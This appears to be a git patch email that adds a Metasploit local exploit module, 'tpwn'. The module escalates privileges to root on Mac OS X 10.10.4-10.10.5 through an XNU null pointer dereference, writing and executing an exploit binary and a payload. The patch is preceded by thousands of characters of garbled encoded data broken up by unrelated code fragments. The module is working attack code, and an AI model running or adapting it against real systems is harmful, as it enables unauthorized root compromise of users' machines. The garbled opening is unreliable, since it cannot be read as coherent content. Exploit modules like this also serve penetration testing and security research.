zqh>Fy%u0u86nhn8%kyp&#%mgzXGTtOP|8XiE+jSC(y0uPsFoy%e-&sbNHa!y?jLImggI61axSVPs(sqFBtUW+=(EQVj(EQW=H(%4cdF?Hx7ZJmh zSw^uXxW#~@6){T8GDh0AQ-kyXq(-S@!@&%ksHkt~32jH~-pAW~C>OG!Dx!1vE4*3s z62-8i8sr_-2ecj4g9=Mg8K%rPimfD?eIy!0UgTEAT5b_+K1ou3GNCEG4bM_;eD`dm zY&jb#ZzL&i?7#V=@APW^3rN`jdBw*_w`xVx(3jm(^=I}F=sFU-D$YnS!s5IM;#4?Y zJg66HI7o+L2`oh)g9Oi_^9Js=C%yx@J(18zuWtMGpL)ry*WiE#Jl+mekN1zNeh{c4 z*2kua$Q{7=tFE`h*2nt9I1D`y%}l^3E?0Y08;gnKw|nS_Q8ajF8K1xY!s{=D3abN_ zH8~s{+e_$$(3>x%N5RsgB=1N2WQm7K=^qCr??*`9kMxh~#M=X-idY}kqbfGZJg;Ut+O#n$MX;3z((E>*(x z_LA1hi_ed>#pf*MO7L|bEkO4XUpOl4HHZEAt${g;&d2T+tN^TTdvtTNw){uh*cbpu zw5qQqDX#5biYo@uW}i}oIJ&g;oIqtW2`Id}ltv4$-U)3-!-r|i(0)7-*e%)LP^|Yk zsd5uBc{13+3(zoH&mTUc&Vpw&v*lhA=e-Gy^b+d&HwPAKp9~UZ8iNEvrfW#1e1E2U zHSN{p*e|I`b@isjIDtiI=2Y}rxBUElXeJ3d*(y%yiK{sHx@Q6Sx`*0HrkQiz7=#eJ zP0x%$8$}Uo>oi5WW4kqk)>{*})JqkIIZ|}bAw3OWXnqN;f(S6*a@c39Jj;A1q1EI@ zcYP#u7Z76B<*T#gq8!JI`@Wt01(qJC-sS%XW;*Q{Y#RNYM+FI)xDOzU7$Y6 z5bnz`AJDc71;89skHbE>*4wY)L%eC>fv{|rKOi1J_B(inG{vKW>iwM@zsH?o6sEa1_Ot~ zK6&K+czVBHe1qjtGuM9fGh#^HBhl^CgjfHr7o)o&%kBXuPW9e6pdr`FyJWl>#nV4+ zA&8r3PlmP-s6?Xi5f1L|)leN8!X>)M@PnUoWx*8?I>wEboD1F}Vly=xsZ`IZ&%uzC zB9-dVZKb-ySgD>>SMpIYRQDE?r|Ez~mi;qD1o2*F_n9xtzUWn?-Hwqcuulk_z11POdOsROUr0 zC#sClX*NvLP&KM81kDuoRsCMBK1Ea(shgRivLsSjP6)KU+vZHg15Ogoy8mS)xEkQB zTTq#S&$`c`Sii?i2T?$~0$8Hm_Z#rMyEQ`FaKQsf&X+bK;~RJp@EdTxw0<~xQoH{L zu>bR=-(i&fW1cVF3C=Y!%>}4GU#i4J)cbr%yiOFcrcjA2`jbU+J{KUIRc#L%7 zJ;;zxyrH{dR~DXh(QFc)OwpVnJlUc-OL%fcvqgBui{?DxnJAhIglCFq)}Mb5 zd_K8=xbN@$oAR~uZx&PurZpwm^mH2Q{6N#w2UMot^KWXS-}7%2_`K)e5ju>~%}@8L z=ifWkyL0By)^Fx4bq`c7L0`Vk=iyNd4NaeZ53v9F>LQd7VbZvNwEH=obXKYkyGH@W z=PUIxqB-4^-rz^7bXKQ`t@ABG{DoXaW1nsx~?9dPt_C`wmS%?QJ*-z8ff2tMT4 zDEu!7#ok106C5-rkEZeAH&h=FjBMR@8cF=WM$y}m8+*f=j9MS2$70uNIOyNd(C{(T zkKU}pe<%1_u31iKlU`X+kdLh_4a*$0<{7H_DOwM&9!h8R)@a0f3{n1PnQ(PfyU!cl zi=-I0y8!ohaeWLE!du`ibfNdd5)C;7@R<(J-2>ox9r@wau`9uks5L=vS9BWSuCeqb zpsul5>}RuYVLzAsJod-4U%>uE_KVn`!hQ++KmF%~$-^TtL_SdrC&i;e!uZQ1gWKe?N-U!~LqaT3H#?b`f?4_#_$|N1d z+jUoC4MDpJk_p;EkRWIiK_sN3PZ0DRL5~u2kf4VMdXJ!Xg3b_h4?*VFWP)gMXk10mB!V^&G@hXUAZQFh&l8kIP=uiK2zrAc zBS9Y#^cfVfv5TPN1dYUiI{F?#mk{&@L3sr2Bj|d9b`Vrf&~FJ^NYK*+c?kLyLH7{! zb3n7^%uzqDrG6ahHmARF-rR~JHF2_p&$h^Q{tCBuhP*;{%n8)`>by=5J|0#xrwm`O zamh2?c1Nkh;l+oQq(GC;+0Z0AX1bdi$j!IA0^?vqATSN(XFWvtKAEk2jiA&<9|SPGiQ78Fi$xtd2vw%YH@Ubkec3wXUiZ}WKFbrSowK%G~10CxMF z%{GE<=n#}_Y@kAQpv6{IbE}M+KIby@blsA9O)mJv!K}i9s+!yIZKRoQx2MSMk((;* ze%ZQA%>#4RWoT`VJK(L8_1RWmo!y0x9yK*sJYMHAr%P^-eWNW`-??1&`d7HU0jJvo zqN{3Vx*H^$ztJn(9X7eSPWI4;lJMa!f56)$Ih?FbAlKq`yP-t20l&rH==4Eb=o3yB zKye{Wut;hjTN-7%$FkJE!cr?+>fBy$z~hGm>g^yS7Fg)3TqITc=G<~G)Y#&#ulGSP z_@a^ejVc8Et*TgvvBclfqsh;B%D(#aPSU>9 zy`lZiOi)%;gK|x{95mJLa?PPj9o}l$-{^Ko?b4lD`U1DgxK81dDLtFhtH6)l@Al53 zUnxYYg;VFq-et}@d8*5;md(|tR?7ZryT7gxmol_+KB}3gFB2<38RPXCHMpHZi3Lck znKJ{ePIY@$(9I>;L9r_OSwQ4ZWTC3}We_duA!E8GLdB*a9sJ@Z48=+ilbhwbWz1kX z$DGX8G{E&8zav_F?ng-QV-Q^RAWe>n2Tad?Vj9uv#J(cQ&4a% zC3=uZ*Le~W{Yb=hohE-h6=|kez|TFf5-={uXgstSDC+lW&9!M!mn#1?99_}Ga$BoL z=(bKmQ|*+#Y-s|+4{B)+Suck5hKoQdepk!}iOrFlNQ$_mgJ1b;t)94#eYIhS3a*t`H{Mx ztV32e-Wc66da~kpd;RoWjFz6bhXc3zlXHX_xEmmWDFDi>_MybQ*+9Fj>V0M~!TNCx z;(&=KiMC&3uuTWMb?_=3yg>(V)WP)6i7`B{sW3G!ol;@y4~ag5hChZ!>ELlXxKIZd z>tMR(j6bex)xmRh@In=akNab~^p!feT?hYC2h#;r{4xGc9lTQqzoLVWs4(l`Uv%kz z*TF*}ZA2L-U1yEK7wX{4bnv%y@HibjSqE3@;Q2b38X>Yj`9+?uM2G;1=luv&zci>a;+l+z}AGH!nAc?7Vc;Dk7vc! zeWWC;_=qR0_3?PJRX(2Ey}rkjcxCTtnRUOU0u;*Yk6!D rr;t`}{QNMMZTN}nb;3eT5#0*i%hdGR9p1_L`PWS Date: Mon, 17 Aug 2015 17:07:58 -0500 Subject: [PATCH 2/2] Add tpwn module --- modules/exploits/osx/local/tpwn.rb | 98 ++++++++++++++++++++++++++++++ 1 file changed, 98 insertions(+) create mode 100644 modules/exploits/osx/local/tpwn.rb diff --git a/modules/exploits/osx/local/tpwn.rb b/modules/exploits/osx/local/tpwn.rb new file mode 100644 index 0000000000..bfd0864d61 --- /dev/null +++ b/modules/exploits/osx/local/tpwn.rb @@ -0,0 +1,98 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Local + + Rank = NormalRanking + + include Msf::Post::OSX::System + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Mac OS X "tpwn" Privilege Escalation', + 'Description' => %q{ + This module exploits a null pointer dereference in XNU to escalate + privileges to root. + + Tested on 10.10.4 and 10.10.5. + }, + 'Author' => [ + 'qwertyoruiop', # Vulnerability discovery and PoC + 'wvu' # Copy/paste monkey + ], + 'References' => [ + ['URL', 'https://github.com/kpwn/tpwn'] + ], + 'DisclosureDate' => 'Aug 16 2015', + 'License' => MSF_LICENSE, + 'Platform' => 'osx', + 'Arch' => ARCH_X86_64, + 'SessionTypes' => ['shell'], + 'Privileged' => true, + 'Targets' => [ + ['Mac OS X 10.10.4-10.10.5', {}] + ], + 'DefaultTarget' => 0 + )) + + register_options([ + OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes']) + ]) + end + + def check + ver?? Exploit::CheckCode::Appears : Exploit::CheckCode::Safe + end + + def exploit + print_status("Writing exploit to `#{exploit_file}'") + write_file(exploit_file, binary_exploit) + register_file_for_cleanup(exploit_file) + + print_status("Writing payload to `#{payload_file}'") + write_file(payload_file, binary_payload) + register_file_for_cleanup(payload_file) + + print_status('Executing exploit...') + cmd_exec(sploit) + print_status('Executing payload...') + cmd_exec(payload_file) + end + + def ver? + Gem::Version.new(get_sysinfo['ProductVersion']).between?( + Gem::Version.new('10.10.4'), Gem::Version.new('10.10.5') + ) + end + + def sploit + "chmod +x #{exploit_file} #{payload_file} && #{exploit_file}" + end + + def binary_exploit + File.read(File.join( + Msf::Config.data_directory, 'exploits', 'tpwn', 'tpwn' + )) + end + + def binary_payload + Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) + end + + def exploit_file + @exploit_file ||= + "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}" + end + + def payload_file + @payload_file ||= + "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}" + end + +end